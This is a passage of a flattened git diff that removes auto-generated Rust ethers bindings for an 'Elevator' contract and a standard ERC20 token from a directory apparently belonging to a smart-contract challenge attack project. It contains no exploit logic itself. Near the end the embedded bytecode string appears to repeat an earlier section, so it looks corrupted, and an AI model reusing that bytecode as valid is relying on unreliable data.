Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "goTo", abi = "goTo(uint256)")] - pub struct GoToCall { - pub floor: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `top` function with signature `top()` and selector - /// `0xfe6dcdba` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "top", abi = "top()")] - pub struct TopCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum ElevatorCalls { - Floor(FloorCall), - GoTo(GoToCall), - Top(TopCall), - } - impl ::ethers::core::abi::AbiDecode for ElevatorCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Floor(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::GoTo(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Top(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for ElevatorCalls { - fn encode(self) -> Vec { - match self { - Self::Floor(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::GoTo(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Top(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for ElevatorCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Floor(element) => ::core::fmt::Display::fmt(element, f), - Self::GoTo(element) => ::core::fmt::Display::fmt(element, f), - Self::Top(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for ElevatorCalls { - fn from(value: FloorCall) -> Self { Self::Floor(value) } - } - impl ::core::convert::From for ElevatorCalls { - fn from(value: GoToCall) -> Self { Self::GoTo(value) } - } - impl ::core::convert::From for ElevatorCalls { - fn from(value: TopCall) -> Self { Self::Top(value) } - } - ///Container type for all return fields from the - /// `floor` function with signature `floor()` and - /// selector `0x40695363` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct FloorReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the `top` - /// function with signature `top()` and selector - /// `0xfe6dcdba` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TopReturn(pub bool); -} diff --git a/attack/src/abi/erc20.rs b/attack/src/abi/erc20.rs deleted file mode 100644 index a02357b..0000000 --- a/attack/src/abi/erc20.rs +++ /dev/null @@ -1,1334 +0,0 @@ -pub use erc20::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod erc20 { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("name_"), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("symbol_"), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("allowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("allowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("approve"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("approve"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("balanceOf"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balanceOf"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("account"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("decimals"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("decimals"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint(8usize), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint8"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("decreaseAllowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("decreaseAllowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("subtractedValue"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("increaseAllowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("increaseAllowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("addedValue"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("name"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("name"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("symbol"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("symbol"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("totalSupply"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("totalSupply"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferFrom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferFrom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("Approval"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Approval"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("Transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static ERC20_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\x0E\x0F8\x03\x80b\0\x0E\x0F\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x01\x1FV[`\x03b\0\0B\x83\x82b\0\x02\x18V[P`\x04b\0\0Q\x82\x82b\0\x02\x18V[PPPb\0\x02\xE4V[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0\x82`\x1F\x83\x01\x12b\0\0\x82W`\0\x80\xFD[\x81Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\0\x9FWb\0\0\x9Fb\0\0ZV[`@Q`\x1F\x83\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x82\x82\x11\x81\x83\x10\x17\x15b\0\0\xCAWb\0\0\xCAb\0\0ZV[\x81`@R\x83\x81R` \x92P\x86\x83\x85\x88\x01\x01\x11\x15b\0\0\xE7W`\0\x80\xFD[`\0\x91P[\x83\x82\x10\x15b\0\x01\x0BW\x85\x82\x01\x83\x01Q\x81\x83\x01\x84\x01R\x90\x82\x01\x90b\0\0\xECV[`\0\x93\x81\x01\x90\x92\x01\x92\x90\x92R\x94\x93PPPPV[`\0\x80`@\x83\x85\x03\x12\x15b\0\x013W`\0\x80\xFD[\x82Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x01KW`\0\x80\xFD[b\0\x01Y\x86\x83\x87\x01b\0\0pV[\x93P` \x85\x01Q\x91P\x80\x82\x11\x15b\0\x01pW`\0\x80\xFD[Pb\0\x01\x7F\x85\x82\x86\x01b\0\0pV[\x91PP\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x01\x9EW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x01\xBFWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x02\x13W`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x01\xEEWP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x02\x0FW\x82\x81U`\x01\x01b\0\x01\xFAV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x024Wb\0\x024b\0\0ZV[b\0\x02L\x81b\0\x02E\x84Tb\0\x01\x89V[\x84b\0\x01\xC5V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x02\x84W`\0\x84\x15b\0\x02kWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x02\x0FV[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x02\xB5W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x02\x94V[P\x85\x82\x10\x15b\0\x02\xD4W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x0B\x1B\x80b\0\x02\xF4`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xC9W`\x005`\xE0\x1C\x80c9P\x93Q\x11a\0\x81W\x80c\xA4W\xC2\xD7\x11a\0[W\x80c\xA4W\xC2\xD7\x14a\x01\x94W\x80c\xA9\x05\x9C\xBB\x14a\x01\xA7W\x80c\xDDb\xED>\x14a\x01\xBAW`\0\x80\xFD[\x80c9P\x93Q\x14a\x01CW\x80cp\xA0\x821\x14a\x01VW\x80c\x95\xD8\x9BA\x14a\x01\x8CW`\0\x80\xFD[\x80c\x18\x16\r\xDD\x11a\0\xB2W\x80c\x18\x16\r\xDD\x14a\x01\x0FW\x80c#\xB8r\xDD\x14a\x01!W\x80c1<\xE5g\x14a\x014W`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xCEW\x80c\t^\xA7\xB3\x14a\0\xECW[`\0\x80\xFD[a\0\xD6a\x02\0V[`@Qa\0\xE3\x91\x90a\t\x08V[`@Q\x80\x91\x03\x90\xF3[a\0\xFFa\0\xFA6`\x04a\t\x9DV[a\x02\x92V[`@Q\x90\x15\x15\x81R` \x01a\0\xE3V[`\x02T[`@Q\x90\x81R` \x01a\0\xE3V[a\0\xFFa\x01/6`\x04a\t\xC7V[a\x02\xACV[`@Q`\x12\x81R` \x01a\0\xE3V[a\0\xFFa\x01Q6`\x04a\t\x9DV[a\x02\xD0V[a\x01\x13a\x01d6`\x04a\n\x03V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xD6a\x03\x1CV[a\0\xFFa\x01\xA26`\x04a\t\x9DV[a\x03+V[a\0\xFFa\x01\xB56`\x04a\t\x9DV[a\x04\x01V[a\x01\x13a\x01\xC86`\x04a\n%V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[```\x03\x80Ta\x02\x0F\x90a\nXV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02;\x90a\nXV[\x80\x15a\x02\x88W\x80`\x1F\x10a\x02]Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\x88V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02kW\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xA0\x81\x85\x85a\x04\x0FV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xBA\x85\x82\x85a\x05\xC2V[a\x02\xC5\x85\x85\x85a\x06\x99V[P`\x01\x94\x93PPPPV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90a\x02\xA0\x90\x82\x90\x86\x90a\x03\x17\x90\x87\x90a\n\xABV[a\x04\x0FV[```\x04\x80Ta\x02\x0F\x90a\nXV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90\x83\x81\x10\x15a\x03\xF4W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01R\x7F zero\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xC5\x82\x86\x86\x84\x03a\x04\x0FV[`\x003a\x02\xA0\x81\x85\x85a\x06\x99V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x04\xB1W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01R\x7Fress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x03\xEBV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x05TW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01R\x7Fss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x03\xEBV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x86\x16\x83R\x92\x90R T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x14a\x06\x93W\x81\x81\x10\x15a\x06\x86W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\xEBV[a\x06\x93\x84\x84\x84\x84\x03a\x04\x0FV[PPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x07\x14a\x01\xBAW`\0\x80\xFD[\x80c9P\x93Q\x14a\x01CW\x80cp\xA0\x821\x14a\x01VW\x80c\x95\xD8\x9BA\x14a\x01\x8CW`\0\x80\xFD[\x80c\x18\x16\r\xDD\x11a\0\xB2W\x80c\x18\x16\r\xDD\x14a\x01\x0FW\x80c#\xB8r\xDD\x14a\x01!W\x80c1<\xE5g\x14a\x014W`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xCEW\x80c\t^\xA7\xB3\x14a\0\xECW[`\0\x80\xFD[a\0\xD6a\x02\0V[`@Qa\0\xE3\x91\x90a\t\x08V[`@Q\x80\x91\x03\x90\xF3[a\0\xFFa\0\xFA6`\x04a\t\x9DV[a\x02\x92V[`@Q\x90\x15\x15\x81R` \x01a\0\xE3V[`\x02T[`@Q\x90\x81R` \x01a\0\xE3V[a\0\xFFa\x01/6`\x04a\t\xC7V[a\x02\xACV[`@Q`\x12\x81R` \x01a\0\xE3V[a\0\xFFa\x01Q6`\x04a\t\x9DV[a\x02\xD0V[a\x01\x13a\x01d6`\x04a\n\x03V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xD6a\x03\x1CV[a\0\xFFa\x01\xA26`\x04a\t\x9DV[a\x03+V[a\0\xFFa\x01\xB56`\x04a\t\x9DV[a\x04\x01V[a\x01\x13a\x01\xC86`\x04a\n%V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[```\x03\x80Ta\x02\x0F\x90a\nXV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02;\x90a\nXV[\x80\x15a\x02\x88W\x80`\x1F\x10a\x02]Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\x88V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02kW\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xA0\x81\x85\x85a\x04\x0FV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xBA\x85\x82\x85a\x05\xC2V[a\x02\xC5\x85\x85\x85a\x06\x99V[P`\x01\x94\x93PPPPV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90a\x02\xA0\x90\x82\x90\x86\x90a\x03\x17\x90\x87\x90a\n\xABV[a\x04\x0FV[```\x04\x80Ta\x02\x0F\x90a\nXV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90\x83\x81\x10\x15a\x03\xF4W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` 